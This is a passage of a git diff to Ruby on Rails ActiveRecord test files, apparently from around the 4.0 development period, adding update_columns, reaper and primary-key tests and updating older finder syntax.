   end
 
-  def test_update_attribute_for_readonly_attribute
-    minivan = Minivan.find('m1')
-    assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute(:color, 'black') }
-  end
-
-  # This test is correct, but it is hard to fix it since
-  # update_attribute trigger simply call save! that triggers
-  # all callbacks.
-  # def test_update_attribute_with_one_changed_and_one_updated
-  #   t = Topic.order('id').limit(1).first
-  #   title, author_name = t.title, t.author_name
-  #   t.author_name = 'John'
-  #   t.update_attribute(:title, 'super_title')
-  #   assert_equal 'John', t.author_name
-  #   assert_equal 'super_title', t.title
-  #   assert t.changed?, "topic should have changed"
-  #   assert t.author_name_changed?, "author_name should have changed"
-  #   assert !t.title_changed?, "title should not have changed"
-  #   assert_nil t.title_change, 'title change should be nil'
-  #   assert_equal ['author_name'], t.changed
-  #
-  #   t.reload
-  #   assert_equal 'David', t.author_name
-  #   assert_equal 'super_title', t.title
-  # end
-
-  def test_update_attribute_with_one_updated
-    t = Topic.first
-    title = t.title
-    t.update_attribute(:title, 'super_title')
-    assert_equal 'super_title', t.title
-    assert !t.changed?, "topic should not have changed"
-    assert !t.title_changed?, "title should not have changed"
-    assert_nil t.title_change, 'title change should be nil'
-
-    t.reload
-    assert_equal 'super_title', t.title
-  end
-
-  def test_update_attribute_for_updated_at_on
-    developer = Developer.find(1)
-    prev_month = Time.now.prev_month
-
-    developer.update_attribute(:updated_at, prev_month)
-    assert_equal prev_month, developer.updated_at
-
-    developer.update_attribute(:salary, 80001)
-    assert_not_equal prev_month, developer.updated_at
-
-    developer.reload
-    assert_not_equal prev_month, developer.updated_at
-  end
-
   def test_update_column
     topic = Topic.find(1)
     topic.update_column("approved", true)
@@ -449,7 +406,7 @@ class PersistencesTest < ActiveRecord::TestCase
 
   def test_update_column_should_not_leave_the_object_dirty
     topic = Topic.find(1)
-    topic.update_attribute("content", "Have a nice day")
+    topic.update_column("content", "Have a nice day")
 
     topic.reload
     topic.update_column(:content, "You too")
@@ -504,6 +461,97 @@ class PersistencesTest < ActiveRecord::TestCase
     assert_equal 'super_title', t.title
   end
 
+  def test_update_columns
+    topic = Topic.find(1)
+    topic.update_columns({ "approved" => true, title: "Sebastian Topic" })
+    assert topic.approved?
+    assert_equal "Sebastian Topic", topic.title
+    topic.reload
+    assert topic.approved?
+    assert_equal "Sebastian Topic", topic.title
+  end
+
+  def test_update_columns_should_not_use_setter_method
+    dev = Developer.find(1)
+    dev.instance_eval { def salary=(value); write_attribute(:salary, value * 2); end }
+
+    dev.update_columns(salary: 80000)
+    assert_equal 80000, dev.salary
+
+    dev.reload
+    assert_equal 80000, dev.salary
+  end
+
+  def test_update_columns_should_raise_exception_if_new_record
+    topic = Topic.new
+    assert_raises(ActiveRecord::ActiveRecordError) { topic.update_columns({ approved: false }) }
+  end
+
+  def test_update_columns_should_not_leave_the_object_dirty
+    topic = Topic.find(1)
+    topic.update_attributes({ "content" => "Have a nice day", :author_name => "Jose" })
+
+    topic.reload
+    topic.update_columns({ content: "You too", "author_name" => "Sebastian" })
+    assert_equal [], topic.changed
+
+    topic.reload
+    topic.update_columns({ content: "Have a nice day", author_name: "Jose" })
+    assert_equal [], topic.changed
+  end
+
+  def test_update_columns_with_model_having_primary_key_other_than_id
+    minivan = Minivan.find('m1')
+    new_name = 'sebavan'
+
+    minivan.update_columns(name: new_name)
+    assert_equal new_name, minivan.name
+  end
+
+  def test_update_columns_with_one_readonly_attribute
+    minivan = Minivan.find('m1')
+    prev_color = minivan.color
+    prev_name = minivan.name
+    assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_columns({ name: "My old minivan", color: 'black' }) }
+    assert_equal prev_color, minivan.color
+    assert_equal prev_name, minivan.name
+
+    minivan.reload
+    assert_equal prev_color, minivan.color
+    assert_equal prev_name, minivan.name
+  end
+
+  def test_update_columns_should_not_modify_updated_at
+    developer = Developer.find(1)
+    prev_month = Time.now.prev_month
+
+    developer.update_columns(updated_at: prev_month)
+    assert_equal prev_month, developer.updated_at
+
+    developer.update_columns(salary: 80000)
+    assert_equal prev_month, developer.updated_at
+    assert_equal 80000, developer.salary
+
+    developer.reload
+    assert_equal prev_month.to_i, developer.updated_at.to_i
+    assert_equal 80000, developer.salary
+  end
+
+  def test_update_columns_with_one_changed_and_one_updated
+    t = Topic.order('id').limit(1).first
+    author_name = t.author_name
+    t.author_name = 'John'
+    t.update_columns(title: 'super_title')
+    assert_equal 'John', t.author_name
+    assert_equal 'super_title', t.title
+    assert t.changed?, "topic should have changed"
+    assert t.author_name_changed?, "author_name should have changed"
+
+    t.reload
+    assert_equal author_name, t.author_name
+    assert_equal 'super_title', t.title
+  end
+
   def test_update_attributes
     topic = Topic.find(1)
     assert !topic.approved?
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
index 434b8a677a..0a6354f5cc 100644
--- a/activerecord/test/cases/pooled_connections_test.rb
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -7,17 +7,17 @@ class PooledConnectionsTest < ActiveRecord::TestCase
 
   def setup
     @per_test_teardown = []
-    @connection = ActiveRecord::Base.remove_connection
+    @connection = ActiveRecord::Model.remove_connection
   end
 
   def teardown
-    ActiveRecord::Base.clear_all_connections!
-    ActiveRecord::Base.establish_connection(@connection)
+    ActiveRecord::Model.clear_all_connections!
+    ActiveRecord::Model.establish_connection(@connection)
     @per_test_teardown.each {|td| td.call }
   end
 
   def checkout_connections
-    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :wait_timeout => 0.3}))
+    ActiveRecord::Model.establish_connection(@connection.merge({:pool => 2, :checkout_timeout => 0.3}))
     @connections = []
     @timed_out = 0
 
@@ -33,24 +33,16 @@ class PooledConnectionsTest < ActiveRecord::TestCase
   end
 
   # Will deadlock due to lack of Monitor timeouts in 1.9
-  if RUBY_VERSION < '1.9'
-    def test_pooled_connection_checkout
-      checkout_connections
-      assert_equal 2, @connections.length
-      assert_equal 2, @timed_out
-    end
-  end
-
   def checkout_checkin_connections(pool_size, threads)
-    ActiveRecord::Base.establish_connection(@connection.merge({:pool => pool_size, :wait_timeout => 0.5}))
+    ActiveRecord::Model.establish_connection(@connection.merge({:pool => pool_size, :checkout_timeout => 0.5}))
     @connection_count = 0
     @timed_out = 0
     threads.times do
       Thread.new do
         begin
-          conn = ActiveRecord::Base.connection_pool.checkout
+          conn = ActiveRecord::Model.connection_pool.checkout
           sleep 0.1
-          ActiveRecord::Base.connection_pool.checkin conn
+          ActiveRecord::Model.connection_pool.checkin conn
           @connection_count += 1
         rescue ActiveRecord::ConnectionTimeoutError
           @timed_out += 1
@@ -63,85 +55,13 @@ class PooledConnectionsTest < ActiveRecord::TestCase
     checkout_checkin_connections 1, 2
     assert_equal 2, @connection_count
     assert_equal 0, @timed_out
-    assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
+    assert_equal 1, ActiveRecord::Model.connection_pool.connections.size
   end
 
-  def test_pooled_connection_checkin_two
-    checkout_checkin_connections 2, 3
-    assert_equal 3, @connection_count
-    assert_equal 0, @timed_out
-    assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
-  end
-
-  def test_pooled_connection_checkout_existing_first
-    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 1}))
-    conn_pool = ActiveRecord::Base.connection_pool
-    conn = conn_pool.checkout
-    conn_pool.checkin(conn)
-    conn = conn_pool.checkout
-    assert ActiveRecord::ConnectionAdapters::AbstractAdapter === conn
-    conn_pool.checkin(conn)
-  end
-
-  def test_not_connected_defined_connection_returns_false
-    ActiveRecord::Base.establish_connection(@connection)
-    assert ! ActiveRecord::Base.connected?
-  end
-
-  def test_undefined_connection_returns_false
-    old_handler = ActiveRecord::Base.connection_handler
-    ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
-    assert ! ActiveRecord::Base.connected?
-  ensure
-    ActiveRecord::Base.connection_handler = old_handler
-  end
-
-  def test_connection_config
-    ActiveRecord::Base.establish_connection(@connection)
-    assert_equal @connection, ActiveRecord::Base.connection_config
-  end
-
-  def test_with_connection_nesting_safety
-    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 1, :wait_timeout => 0.1}))
-
-    before_count = Project.count
-
-    add_record('one')
-
-    ActiveRecord::Base.connection.transaction do
-      add_record('two')
-      # Have another thread try to screw up the transaction
-      Thread.new do
-        ActiveRecord::Base.connection.rollback_db_transaction
-        ActiveRecord::Base.connection_pool.release_connection
-      end
-      add_record('three')
-    end
-
-    after_count = Project.count
-    assert_equal 3, after_count - before_count
-  end
-
-  def test_connection_pool_callbacks
-    checked_out, checked_in = false, false
-    ActiveRecord::ConnectionAdapters::AbstractAdapter.class_eval do
-      set_callback(:checkout, :after) { checked_out = true }
-      set_callback(:checkin, :before) { checked_in = true }
-    end
-    @per_test_teardown << proc do
-      ActiveRecord::ConnectionAdapters::AbstractAdapter.class_eval do
-        reset_callbacks :checkout
-        reset_callbacks :checkin
-      end
-    end
-    checkout_checkin_connections 1, 1
-    assert checked_out
-    assert checked_in
-  end
 
   private
 
   def add_record(name)
-    ActiveRecord::Base.connection_pool.with_connection { Project.create! :name => name }
+    ActiveRecord::Model.connection_pool.with_connection { Project.create! :name => name }
   end
 end unless current_adapter?(:FrontBase) || in_memory_db?
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
index 4bb5752096..e6e50a4cd4 100644
--- a/activerecord/test/cases/primary_keys_test.rb
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -23,6 +23,11 @@ class PrimaryKeysTest < ActiveRecord::TestCase
     assert_equal keyboard.to_key, [keyboard.id]
   end
 
+  def test_read_attribute_with_custom_primary_key
+    keyboard = Keyboard.create!
+    assert_equal keyboard.key_number, keyboard.read_attribute(:id)
+  end
+
   def test_to_key_with_primary_key_after_destroy
     topic = Topic.find(1)
     topic.destroy
@@ -142,8 +147,38 @@ class PrimaryKeysTest < ActiveRecord::TestCase
     assert_equal k.connection.quote_column_name("id"), k.quoted_primary_key
     k.primary_key = "foo"
     assert_equal k.connection.quote_column_name("foo"), k.quoted_primary_key
-    k.set_primary_key "bar"
-    assert_equal k.connection.quote_column_name("bar"), k.quoted_primary_key
+  end
+
+  def test_two_models_with_same_table_but_different_primary_key
+    k1 = Class.new(ActiveRecord::Base)
+    k1.table_name = 'posts'
+    k1.primary_key = 'id'
+
+    k2 = Class.new(ActiveRecord::Base)
+    k2.table_name = 'posts'
+    k2.primary_key = 'title'
+
+    assert k1.columns.find { |c| c.name == 'id' }.primary
+    assert !k1.columns.find { |c| c.name == 'title' }.primary
+    assert k1.columns_hash['id'].primary
+    assert !k1.columns_hash['title'].primary
+
+    assert !k2.columns.find { |c| c.name == 'id' }.primary
+    assert k2.columns.find { |c| c.name == 'title' }.primary
+    assert !k2.columns_hash['id'].primary
+    assert k2.columns_hash['title'].primary
+  end
+
+  def test_models_with_same_table_have_different_columns
+    k1 = Class.new(ActiveRecord::Base)
+    k1.table_name = 'posts'
+
+    k2 = Class.new(ActiveRecord::Base)
+    k2.table_name = 'posts'
+
+    k1.columns.zip(k2.columns).each do |col1, col2|
+      assert !col1.equal?(col2)
+    end
   end
 end
 
@@ -153,16 +188,31 @@ class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
   def test_set_primary_key_with_no_connection
     return skip("disconnect wipes in-memory db") if in_memory_db?
 
-    connection = ActiveRecord::Base.remove_connection
+    connection = ActiveRecord::Model.remove_connection
 
-    model = Class.new(ActiveRecord::Base) do
-      set_primary_key 'foo'
-    end
+    model = Class.new(ActiveRecord::Base)
+    model.primary_key = 'foo'
 
     assert_equal 'foo', model.primary_key
 
-    ActiveRecord::Base.establish_connection(connection)
+    ActiveRecord::Model.establish_connection(connection)
 
     assert_equal 'foo', model.primary_key
   end
 end
+
+if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+  class PrimaryKeyWithAnsiQuotesTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+  
+    def test_primaery_key_method_with_ansi_quotes
+      con = ActiveRecord::Base.connection
+      con.execute("SET SESSION sql_mode='ANSI_QUOTES'")
+      assert_equal "id", con.primary_key("topics")
+    ensure
+      con.reconnect!
+    end
+  
+  end
+end
+
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index 9554386dcf..2d778e9e90 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -3,7 +3,7 @@ require 'models/topic'
 require 'models/task'
 require 'models/category'
 require 'models/post'
-
+require 'rack'
 
 class QueryCacheTest < ActiveRecord::TestCase
   fixtures :tasks, :topics, :categories, :posts, :categories_posts
@@ -39,10 +39,23 @@ class QueryCacheTest < ActiveRecord::TestCase
     assert ActiveRecord::Base.connection.query_cache_enabled, 'cache on'
   end
 
+  def test_exceptional_middleware_assigns_original_connection_id_on_error
+    connection_id = ActiveRecord::Base.connection_id
+
+    mw = ActiveRecord::QueryCache.new lambda { |env|
+      ActiveRecord::Base.connection_id = self.object_id
+      raise "lol borked"
+    }
+    assert_raises(RuntimeError) { mw.call({}) }
+
+    assert_equal connection_id, ActiveRecord::Base.connection_id 
+  end
+
   def test_middleware_delegates
     called = false
     mw = ActiveRecord::QueryCache.new lambda { |env|
       called = true
+      [200, {}, nil]
     }
     mw.call({})
     assert called, 'middleware should delegate'
@@ -53,6 +66,7 @@ class QueryCacheTest < ActiveRecord::TestCase
       Task.find 1
       Task.find 1
       assert_equal 1, ActiveRecord::Base.connection.query_cache.length
+      [200, {}, nil]
     }
     mw.call({})
   end
@@ -62,6 +76,7 @@ class QueryCacheTest < ActiveRecord::TestCase
 
     mw = ActiveRecord::QueryCache.new lambda { |env|
       assert ActiveRecord::Base.connection.query_cache_enabled, 'cache on'
+      [200, {}, nil]
     }
     mw.call({})
   end
@@ -83,7 +98,7 @@ class QueryCacheTest < ActiveRecord::TestCase
   end
 
   def test_cache_off_after_close
-    mw = ActiveRecord::QueryCache.new lambda { |env| }
+    mw = ActiveRecord::QueryCache.new lambda { |env| [200, {}, nil] }
     body = mw.call({}).last
 
     assert ActiveRecord::Base.connection.query_cache_enabled, 'cache enabled'
@@ -93,7 +108,8 @@ class QueryCacheTest < ActiveRecord::TestCase
 
   def test_cache_clear_after_close
     mw = ActiveRecord::QueryCache.new lambda { |env|
-      Post.find(:first)
+      Post.first
+      [200, {}, nil]
     }
     body = mw.call({}).last
 
@@ -103,7 +119,7 @@ class QueryCacheTest < ActiveRecord::TestCase
   end
 
   def test_find_queries
-    assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) { Task.find(1); Task.find(1) }
+    assert_queries(2) { Task.find(1); Task.find(1) }
   end
 
   def test_find_queries_with_cache
@@ -147,16 +163,11 @@ class QueryCacheTest < ActiveRecord::TestCase
   end
 
   def test_cache_does_not_wrap_string_results_in_arrays
-    if current_adapter?(:SQLite3Adapter)
-      require 'sqlite3/version'
-      sqlite3_version = RUBY_PLATFORM =~ /java/ ? Jdbc::SQLite3::VERSION : SQLite3::VERSION
-    end
-
     Task.cache do
       # Oracle adapter returns count() as Fixnum or Float
       if current_adapter?(:OracleAdapter)
         assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
-      elsif current_adapter?(:SQLite3Adapter) && sqlite3_version > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter)
+      elsif current_adapter?(:SQLite3Adapter) || current_adapter?(:Mysql2Adapter)
         # Future versions of the sqlite3 adapter will return numeric
         assert_instance_of Fixnum,
          Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
@@ -165,6 +176,14 @@ class QueryCacheTest < ActiveRecord::TestCase
       end
     end
   end
+
+  def test_cache_is_ignored_for_locked_relations
+    task = Task.find 1
+
+    Task.cache do
+      assert_queries(2) { task.lock!; task.lock! }
+    end
+  end
 end
 
 class QueryCacheExpiryTest < ActiveRecord::TestCase
@@ -229,8 +248,8 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
   def test_cache_is_expired_by_habtm_update
     ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
     ActiveRecord::Base.cache do
-      c = Category.find(:first)
-      p = Post.find(:first)
+      c = Category.first
+      p = Post.first
       p.categories << c
     end
   end
@@ -244,14 +263,3 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
     end
   end
 end
-
-class QueryCacheBodyProxyTest < ActiveRecord::TestCase
-
-  test "is polite to it's body and responds to it" do
-    body = Class.new(String) { def to_path; "/path"; end }.new
-    proxy = ActiveRecord::QueryCache::BodyProxy.new(nil, body, ActiveRecord::Base.connection_id)
-    assert proxy.respond_to?(:to_path)
-    assert_equal proxy.to_path, "/path"
-  end
-
-end
diff --git a/activerecord/test/cases/quoting_test.rb b/activerecord/test/cases/quoting_test.rb
index 80ee74e41e..3dd11ae89d 100644
--- a/activerecord/test/cases/quoting_test.rb
+++ b/activerecord/test/cases/quoting_test.rb
@@ -216,6 +216,14 @@ module ActiveRecord
       def test_string_with_crazy_column
         assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:foo))
       end
+
+      def test_quote_duration
+        assert_equal "1800", @quoter.quote(30.minutes)
+      end
+
+      def test_quote_duration_int_column
+        assert_equal "7200", @quoter.quote(2.hours, FakeColumn.new(:integer))
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/readonly_test.rb b/activerecord/test/cases/readonly_test.rb
index e21109baae..df076c97b4 100644
--- a/activerecord/test/cases/readonly_test.rb
+++ b/activerecord/test/cases/readonly_test.rb
@@ -23,11 +23,12 @@ class ReadOnlyTest < ActiveRecord::TestCase
     end
     assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save  }
     assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
+    assert_raise(ActiveRecord::ReadOnlyRecord) { dev.destroy }
   end
 
 
   def test_find_with_readonly_option
-    Developer.find(:all).each { |d| assert !d.readonly? }
+    Developer.all.each { |d| assert !d.readonly? }
     Developer.readonly(false).each { |d| assert !d.readonly? }
     Developer.readonly(true).each { |d| assert d.readonly? }
     Developer.readonly.each { |d| assert d.readonly? }
@@ -48,7 +49,7 @@ class ReadOnlyTest < ActiveRecord::TestCase
     post = Post.find(1)
     assert !post.comments.empty?
     assert !post.comments.any?(&:readonly?)
-    assert !post.comments.find(:all).any?(&:readonly?)
+    assert !post.comments.to_a.any?(&:readonly?)
     assert post.comments.readonly(true).all?(&:readonly?)
   end
 
@@ -70,13 +71,13 @@ class ReadOnlyTest < ActiveRecord::TestCase
   end
 
   def test_readonly_scoping
-    Post.send(:with_scope, :find => { :conditions => '1=1' }) do
+    Post.where('1=1').scoping do
       assert !Post.find(1).readonly?
       assert Post.readonly(true).find(1).readonly?
       assert !Post.readonly(false).find(1).readonly?
     end
 
-    Post.send(:with_scope, :find => { :joins => '   ' }) do
+    Post.joins('   ').scoping do
       assert !Post.find(1).readonly?
       assert Post.readonly.find(1).readonly?
       assert !Post.readonly(false).find(1).readonly?
@@ -85,14 +86,14 @@ class ReadOnlyTest < ActiveRecord::TestCase
     # Oracle barfs on this because the join includes unqualified and
     # conflicting column names
     unless current_adapter?(:OracleAdapter)
-      Post.send(:with_scope, :find => { :joins => ', developers' }) do
+      Post.joins(', developers').scoping do
         assert Post.find(1).readonly?
         assert Post.readonly.find(1).readonly?
         assert !Post.readonly(false).find(1).readonly?
       end
     end
 
-    Post.send(:with_scope, :find => { :readonly => true }) do
+    Post.readonly(true).scoping do
       assert Post.find(1).readonly?
       assert Post.readonly.find(1).readonly?
       assert !Post.readonly(false).find(1).readonly?
diff --git a/activerecord/test/cases/reaper_test.rb b/activerecord/test/cases/reaper_test.rb
new file mode 100644
index 0000000000..e53a27d5dd
--- /dev/null
+++ b/activerecord/test/cases/reaper_test.rb
@@ -0,0 +1,81 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ReaperTest < ActiveRecord::TestCase
+      attr_reader :pool
+
+      def setup
+        super
+        @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+      end
+
+      def teardown
+        super
+        @pool.connections.each(&:close)
+      end
+
+      class FakePool
+        attr_reader :reaped
+
+        def initialize
+          @reaped = false
+        end
+
+        def reap
+          @reaped = true
+        end
+      end
+
+      # A reaper with nil time should never reap connections
+      def test_nil_time
+        fp = FakePool.new
+        assert !fp.reaped
+        reaper = ConnectionPool::Reaper.new(fp, nil)
+        reaper.run
+        assert !fp.reaped
+      end
+
+      def test_some_time
+        fp = FakePool.new
+        assert !fp.reaped
+
+        reaper = ConnectionPool::Reaper.new(fp, 0.0001)
+        reaper.run
+        until fp.reaped
+          Thread.pass
+        end
+        assert fp.reaped
+      end
+
+      def test_pool_has_reaper
+        assert pool.reaper
+      end
+
+      def test_reaping_frequency_configuration
+        spec = ActiveRecord::Base.connection_pool.spec.dup
+        spec.config[:reaping_frequency] = 100
+        pool = ConnectionPool.new spec
+        assert_equal 100, pool.reaper.frequency
+      end
+
+      def test_connection_pool_starts_reaper
+        spec = ActiveRecord::Base.connection_pool.spec.dup
+        spec.config[:reaping_frequency] = 0.0001
+
+        pool = ConnectionPool.new spec
+        pool.dead_connection_timeout = 0
+
+        conn = pool.checkout
+        count = pool.connections.length
+
+        conn.extend(Module.new { def active?; false; end; })
+
+        while count == pool.connections.length
+          Thread.pass
+        end
+        assert_equal(count - 1, pool.connections.length)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
index b30db542a7..588da68ec1 100644
--- a/activerecord/test/cases/reflection_test.rb
+++ b/activerecord/test/cases/reflection_test.rb
@@ -36,25 +36,25 @@ class ReflectionTest < ActiveRecord::TestCase
 
   def test_read_attribute_names
     assert_equal(
-      %w( id title author_name author_email_address bonus_time written_on last_read content group approved replies_count parent_id parent_title type created_at updated_at ).sort,
+      %w( id title author_name author_email_address bonus_time written_on last_read content important group approved replies_count parent_id parent_title type created_at updated_at ).sort,
       @first.attribute_names.sort
     )
   end
 
   def test_columns
-    assert_equal 16, Topic.columns.length
+    assert_equal 17, Topic.columns.length
   end
 
   def test_columns_are_returned_in_the_order_they_were_declared
     column_names = Topic.columns.map { |column| column.name }
-    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content approved replies_count parent_id parent_title type group created_at updated_at), column_names
+    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count parent_id parent_title type group created_at updated_at), column_names
   end
 
   def test_content_columns
     content_columns        = Topic.content_columns
     content_column_names   = content_columns.map {|column| column.name}
-    assert_equal 12, content_columns.length
-    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content group approved parent_title created_at updated_at).sort, content_column_names.sort
+    assert_equal 13, content_columns.length
+    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content important group approved parent_title created_at updated_at).sort, content_column_names.sort
   end
 
   def test_column_string_type_and_limit
@@ -63,7 +63,7 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_column_null_not_null
-    subscriber = Subscriber.find(:first)
+    subscriber = Subscriber.first
     assert subscriber.column_for_attribute("name").null
     assert !subscriber.column_for_attribute("nick").null
   end
@@ -77,7 +77,7 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_reflection_klass_for_nested_class_name
-    reflection = MacroReflection.new(:company, nil, { :class_name => 'MyApplication::Business::Company' }, ActiveRecord::Base)
+    reflection = MacroReflection.new(:company, nil, nil, { :class_name => 'MyApplication::Business::Company' }, ActiveRecord::Base)
     assert_nothing_raised do
       assert_equal MyApplication::Business::Company, reflection.klass
     end
@@ -85,15 +85,15 @@ class ReflectionTest < ActiveRecord::TestCase
 
   def test_aggregation_reflection
     reflection_for_address = AggregateReflection.new(
-      :composed_of, :address, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
+      :composed_of, :address, nil, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
     )
 
     reflection_for_balance = AggregateReflection.new(
-      :composed_of, :balance, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
+      :composed_of, :balance, nil, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
     )
 
     reflection_for_gps_location = AggregateReflection.new(
-      :composed_of, :gps_location, { }, Customer
+      :composed_of, :gps_location, nil, { }, Customer
     )
 
     assert Customer.reflect_on_all_aggregations.include?(reflection_for_gps_location)
@@ -117,7 +117,7 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_has_many_reflection
-    reflection_for_clients = AssociationReflection.new(:has_many, :clients, { :order => "id", :dependent => :destroy }, Firm)
+    reflection_for_clients = AssociationReflection.new(:has_many, :clients, nil, { :order => "id", :dependent => :destroy }, Firm)
 
     assert_equal reflection_for_clients, Firm.reflect_on_association(:clients)
 
@@ -129,7 +129,7 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_has_one_reflection
-    reflection_for_account = AssociationReflection.new(:has_one, :account, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
+    reflection_for_account = AssociationReflection.new(:has_one, :account, nil, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
     assert_equal reflection_for_account, Firm.reflect_on_association(:account)
 
     assert_equal Account, Firm.reflect_on_association(:account).klass
@@ -189,8 +189,8 @@ class ReflectionTest < ActiveRecord::TestCase
 
   def test_reflection_of_all_associations
     # FIXME these assertions bust a lot
-    assert_equal 37, Firm.reflect_on_all_associations.size
-    assert_equal 27, Firm.reflect_on_all_associations(:has_many).size
+    assert_equal 39, Firm.reflect_on_all_associations.size
+    assert_equal 29, Firm.reflect_on_all_associations(:has_many).size
     assert_equal 10, Firm.reflect_on_all_associations(:has_one).size
     assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
   end
@@ -214,21 +214,25 @@ class ReflectionTest < ActiveRecord::TestCase
     assert_equal expected, actual
   end
 
-  def test_conditions
+  def test_scope_chain
     expected = [
-      [{ :tags => { :name => 'Blue' } }],
-      [{ :taggings => { :comment => 'first' } }],
-      [{ :posts => { :title => ['misc post by bob', 'misc post by mary'] } }]
+      [Tagging.reflect_on_association(:tag).scope, Post.reflect_on_association(:first_blue_tags).scope],
+      [Post.reflect_on_association(:first_taggings).scope],
+      [Author.reflect_on_association(:misc_posts).scope]
     ]
-    actual = Author.reflect_on_association(:misc_post_first_blue_tags).conditions
+    actual = Author.reflect_on_association(:misc_post_first_blue_tags).scope_chain
     assert_equal expected, actual
 
     expected = [
-      [{ :tags => { :name => 'Blue' } }, { :taggings => { :comment => 'first' } }, { :posts => { :title => ['misc post by bob', 'misc post by mary'] } }],
+      [
+        Tagging.reflect_on_association(:blue_tag).scope,
+        Post.reflect_on_association(:first_blue_tags_2).scope,
+        Author.reflect_on_association(:misc_post_first_blue_tags_2).scope
+      ],
       [],
       []
     ]
-    actual = Author.reflect_on_association(:misc_post_first_blue_tags_2).conditions
+    actual = Author.reflect_on_association(:misc_post_first_blue_tags_2).scope_chain
     assert_equal expected, actual
   end
 
@@ -254,10 +258,10 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_association_primary_key_raises_when_missing_primary_key
-    reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, {}, Author)
+    reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, nil, {}, Author)
     assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
 
-    through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, {}, Author)
+    through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, nil, {}, Author)
     through.stubs(:source_reflection).returns(stub_everything(:options => {}, :class_name => 'Edge'))
     assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key }
   end
@@ -268,7 +272,7 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_active_record_primary_key_raises_when_missing_primary_key
-    reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :author, {}, Edge)
+    reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :author, nil, {}, Edge)
     assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key }
   end
 
@@ -286,32 +290,32 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_default_association_validation
-    assert AssociationReflection.new(:has_many, :clients, {}, Firm).validate?
+    assert AssociationReflection.new(:has_many, :clients, nil, {}, Firm).validate?
 
-    assert !AssociationReflection.new(:has_one, :client, {}, Firm).validate?
-    assert !AssociationReflection.new(:belongs_to, :client, {}, Firm).validate?
-    assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, {}, Firm).validate?
+    assert !AssociationReflection.new(:has_one, :client, nil, {}, Firm).validate?
+    assert !AssociationReflection.new(:belongs_to, :client, nil, {}, Firm).validate?
+    assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, {}, Firm).validate?
   end
 
   def test_always_validate_association_if_explicit
-    assert AssociationReflection.new(:has_one, :client, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:belongs_to, :client, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:has_many, :clients, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:has_and_belongs_to_many, :clients, { :validate => true }, Firm).validate?
+    assert AssociationReflection.new(:has_one, :client, nil, { :validate => true }, Firm).validate?
+    assert AssociationReflection.new(:belongs_to, :client, nil, { :validate => true }, Firm).validate?
+    assert AssociationReflection.new(:has_many, :clients, nil, { :validate => true }, Firm).validate?
+    assert AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :validate => true }, Firm).validate?
   end
 
   def test_validate_association_if_autosave
